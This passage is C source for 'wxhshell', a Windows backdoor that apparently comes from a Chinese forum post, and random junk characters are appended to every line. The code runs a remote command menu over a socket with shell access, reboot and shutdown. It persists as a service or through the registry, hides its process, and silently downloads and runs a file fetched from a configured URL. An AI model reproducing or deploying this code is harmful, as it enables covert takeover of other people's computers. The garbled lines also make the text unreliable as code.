  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~b$z\|Y  
  } 8A8xY446)  
  else { AYPf)K;%  
BV }(djx  
    switch(cmd[0]) { x)#<.DX  
  <7FP"YU  
  // 帮助 $;)noYo  
  case '?': { i^sDh>$J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $E`i qRB  
    break; Y6f+__O  
  } 7<QYT+6xV  
  // 安装 U8WHE=Kk\h  
  case 'i': { ))CXjwLj;  
    if(Install()) M89-*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`T6CRZhr  
    else 8!&ds~?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Y]'5cn{  
    break; qtdxMX]iR  
    } J]|6l/i  
  // 卸载 K.#,O+-Kg`  
  case 'r': { / UaNYv/  
    if(Uninstall()) C6D=>%uY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^`TKvcgIc  
    else 3D$\y~HU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0+n&BkS'  
    break; 7SA-OFM  
    } TRySl5jx@  
  // 显示 wxhshell 所在路径 , Y g5X  
  case 'p': { DX&lBV  
    char svExeFile[MAX_PATH]; zO).<xIq+  
    strcpy(svExeFile,"\n\r"); n $O.>  
      strcat(svExeFile,ExeFile); +9 16ZPk  
        send(wsh,svExeFile,strlen(svExeFile),0); qUEd E`B  
    break; "u Of~e"  
    } JI+KS  
  // 重启 ^:cb $9F  
  case 'b': { wv7p,9Z[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OXIu>jF  
    if(Boot(REBOOT)) H)j [eZP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _>jrlIfc  
    else { f74%YY  
    closesocket(wsh); ')P2O\YS  
    ExitThread(0); j'#jnP*P  
    } \'s$ZN$k  
    break; xJ=ZQ)&]  
    } _gPVmGG  
  // 关机 8u:v:>D.'  
  case 'd': { as\<nPT{Fj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^(dGO)/  
    if(Boot(SHUTDOWN)) "o^bN 9=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VVI8)h8  
    else {  fW5" 4,  
    closesocket(wsh); }sTH.%  
    ExitThread(0); ( E"&UC[  
    } uKR\Xo}  
    break; so?pA@O  
    } o;M.Rt\A  
  // 获取shell 5eiZs  
  case 's': { gtaV6sD  
    CmdShell(wsh); ;PfeP ;z  
    closesocket(wsh); Tsm)&$JI8  
    ExitThread(0); )Y&MIJ7>@  
    break; g{g`YvLu^  
  } aW`:)y&f  
  // 退出 !q~X*ZKse  
  case 'x': { T@K7DkP@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >zPO>.?h7T  
    CloseIt(wsh); 2X qTyf<  
    break; y'J:?!S,Yu  
    } rQu  
  // 离开 G*P[z'K=  
  case 'q': { )CC?vV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qy7hkq.uX  
    closesocket(wsh); %|:;Ti  
    WSACleanup(); vh9kwJyT  
    exit(1); Mv/IMO0rR  
    break; Wphe%Of  
        } S+.21,  
  } 7.wR"1p#  
  } JDC=J(B  
io1S9a(y  
  // 提示信息 \]Y\P~n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l 8O"w&  
} :3111}>c  
  } K)<Wm,tON  
b\SXZN)Be  
  return; {c v;w  
} 6V'wQqJ  
/M0l p   
// shell模块句柄 3[MdUj1y[  
int CmdShell(SOCKET sock) :`:xP  
{  =3h+=l[  
STARTUPINFO si; !7A"vTs  
ZeroMemory(&si,sizeof(si)); :.C+?$iuX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,|e}Y [  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j4E H2v  
PROCESS_INFORMATION ProcessInfo; R(M}0JRm  
char cmdline[]="cmd"; IY];Ss&i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bin6i2b  
  return 0; ]*bAF^8i  
} X HWh'G9  
k-{yu8*';  
// 自身启动模式 2-B6IPeI  
int StartFromService(void) ShC_hi  
{ J y]FrSm^  
typedef struct 8!Wfd)4=,F  
{ UJ7'JBT=k  
  DWORD ExitStatus; `)rg|~#k  
  DWORD PebBaseAddress; lr9=OlH  
  DWORD AffinityMask; ?wGiog<Q{  
  DWORD BasePriority; JaH* rDs-  
  ULONG UniqueProcessId; ?"()>PJx  
  ULONG InheritedFromUniqueProcessId; oUl=l}qnD  
}   PROCESS_BASIC_INFORMATION; Kg4QT/0VA  
zt7_r`#z  
PROCNTQSIP NtQueryInformationProcess; hNH.G(l0  
*,E;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XxmJP5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "nVK< Vd  
_aVJ$N.  
  HANDLE             hProcess; JzHqNUn*M  
  PROCESS_BASIC_INFORMATION pbi; Z1VC5* K  
" <<A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7sj<|g<h(_  
  if(NULL == hInst ) return 0; "4 'kb  
[<_"`$sm=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MB1sQReOO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4O$mR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *y)4D[ z-  
#0}Ok98P  
  if (!NtQueryInformationProcess) return 0; )J;ny!^2  
6a7vlo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2>\b:  
  if(!hProcess) return 0; H":/Ckok  
q_-ma_F#s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YkSuwx@5_q  
IbF 4k .J  
  CloseHandle(hProcess); 66/Z\H^d  
E^7C _JP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aPprMQ5  
if(hProcess==NULL) return 0; tJff+n>  
: aHcPc:  
HMODULE hMod; ojX%RU  
char procName[255]; l+t #"3  
unsigned long cbNeeded; ;?0_Q3IML  
_B}9 f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :qBGe1Sv(  
xM% pvx.'L  
  CloseHandle(hProcess); 9H>BWjS  
g8KY`MBnC&  
if(strstr(procName,"services")) return 1; // 以服务启动 ,g%o  
* nLIXnm  
  return 0; // 注册表启动 <}&7 a s  
} Sc$gnUYD{  
nHnk#SAA u  
// 主模块 xsYE=^uv  
int StartWxhshell(LPSTR lpCmdLine) /CH(!\bQ  
{ h iAxh Y  
  SOCKET wsl; mU>&ql?e  
BOOL val=TRUE; Jms=YLIAA  
  int port=0; expxp#S  
  struct sockaddr_in door; q1STRYb   
aQga3;S!  
  if(wscfg.ws_autoins) Install(); %?Rs*-F.~1  
e]>/H8  
port=atoi(lpCmdLine); e$HQuA~Q;  
kQy&I3  
if(port<=0) port=wscfg.ws_port; CF\R<rF<VS  
d`85P+Qen|  
  WSADATA data; |P>|D+I0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U{"f.Z:Ydo  
%06vgjOa (  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "@4ghot t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >'N!dM.+9  
  door.sin_family = AF_INET; *_ PPrx5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C>4UbU  
  door.sin_port = htons(port); k5wi'  
!5&%\NSv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s1{[{L3  
closesocket(wsl); un6cD$cHr  
return 1; `%oIRuYG]j  
} =rEA:Q`~w  
<.}Ua(  
  if(listen(wsl,2) == INVALID_SOCKET) { H/^B.5RYE>  
closesocket(wsl); BMdSf(l  
return 1; 6ga5^6W  
} *o!l/>4g  
  Wxhshell(wsl); @7fm1b  
  WSACleanup(); :\ mRtVH  
k}HQq_Y(<  
return 0; Lbsr_*4t  
9^au$KoU  
} +>4^mE" \  
[]"=]f{1};  
// 以NT服务方式启动 !9DX=?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jQ?LHUE  
{ #sZIDn J#  
DWORD   status = 0; 1+a@k  
  DWORD   specificError = 0xfffffff; &Xv1[nByU  
]rnXNn;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I(n }<)eF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \"'\MA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z{|LQt6q  
  serviceStatus.dwWin32ExitCode     = 0; >ukQ, CE~  
  serviceStatus.dwServiceSpecificExitCode = 0; (')(d HHW  
  serviceStatus.dwCheckPoint       = 0; 8aZ$5^z  
  serviceStatus.dwWaitHint       = 0; Pxqiv9D<R  
'y.JcS!|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ab@=cL~^  
  if (hServiceStatusHandle==0) return; {OCJ(^8i  
qU-!7=}7  
status = GetLastError(); 3b@VY'P  
  if (status!=NO_ERROR) };r|}v !~_  
{ 1A^1@^{m'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ig9d#c  
    serviceStatus.dwCheckPoint       = 0; g_vm&~U/'  
    serviceStatus.dwWaitHint       = 0; ?Wa<AFXQ  
    serviceStatus.dwWin32ExitCode     = status; /&(1JqzlB  
    serviceStatus.dwServiceSpecificExitCode = specificError; e #M iaX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +I@cO&CY|  
    return; {p]=++  
  } Gm A!Mo  
i4<BDX5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qp&4 1  
  serviceStatus.dwCheckPoint       = 0; `|EH[W&y  
  serviceStatus.dwWaitHint       = 0; Pw{"_g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); krjN7&  
} @1g&Z}L o  
SO3cY#i z"  
// 处理NT服务事件,比如:启动、停止 + xp*]a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _B[WY  
{ :6D0j  
switch(fdwControl) !y. $J<  
{ \ I:.<2i  
case SERVICE_CONTROL_STOP: 'MN1A;IJ  
  serviceStatus.dwWin32ExitCode = 0; h/K@IA d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ertBuU  
  serviceStatus.dwCheckPoint   = 0; EnJ!mr  
  serviceStatus.dwWaitHint     = 0; =EpJZt  
  { #\ #3r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,r`UBQ}?  
  } ="'- &  
  return; cDeZMsV  
case SERVICE_CONTROL_PAUSE: .S7:;%qL6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wa ky<w,  
  break; 6/1$< !WH  
case SERVICE_CONTROL_CONTINUE: L/i(KF{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eFFc9'o  
  break; 6Dst;:  
case SERVICE_CONTROL_INTERROGATE: r~>,$[|n})  
  break; 'N6 S}w7  
}; $r79n-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /oL8;:m  
} K5`Rk" s  
Jhy(x1%  
// 标准应用程序主函数 OipqoI2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6(KmA-!b(O  
{ VLdB_r3lQ  
IzUo0D*@  
// 获取操作系统版本 &{z<kmc$6  
OsIsNt=GetOsVer(); P^i.La,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E\$C/}T  
S_\ F  
  // 从命令行安装 Cj^{9'0  
  if(strpbrk(lpCmdLine,"iI")) Install(); x8"#!Pw:`"  
N wtg%;  
  // 下载执行文件 `@XehSQ  
if(wscfg.ws_downexe) { Wi$dZOcSJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FjFwvO_.  
  WinExec(wscfg.ws_filenam,SW_HIDE); 62\&RRB i  
} XYfv(y  
%|+E48  
if(!OsIsNt) { @cv{rr  
// 如果时win9x,隐藏进程并且设置为注册表启动 T)SbHp Y  
HideProc(); H?Jm'\~  
StartWxhshell(lpCmdLine); Z<"K_bj   
} > 0.W`j(s  
else dR+1aY;  
  if(StartFromService()) 4!%F\c46  
  // 以服务方式启动 "HlgRp]u  
  StartServiceCtrlDispatcher(DispatchTable); Ns=AjhLc z  
else ZnfNQl[  
  // 普通方式启动 v>m n/a  
  StartWxhshell(lpCmdLine); XUmR{A  
v(O=IUa  
return 0; `hrQw)5?r  
}
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只看该作者 1 发表于: 2006-10-10
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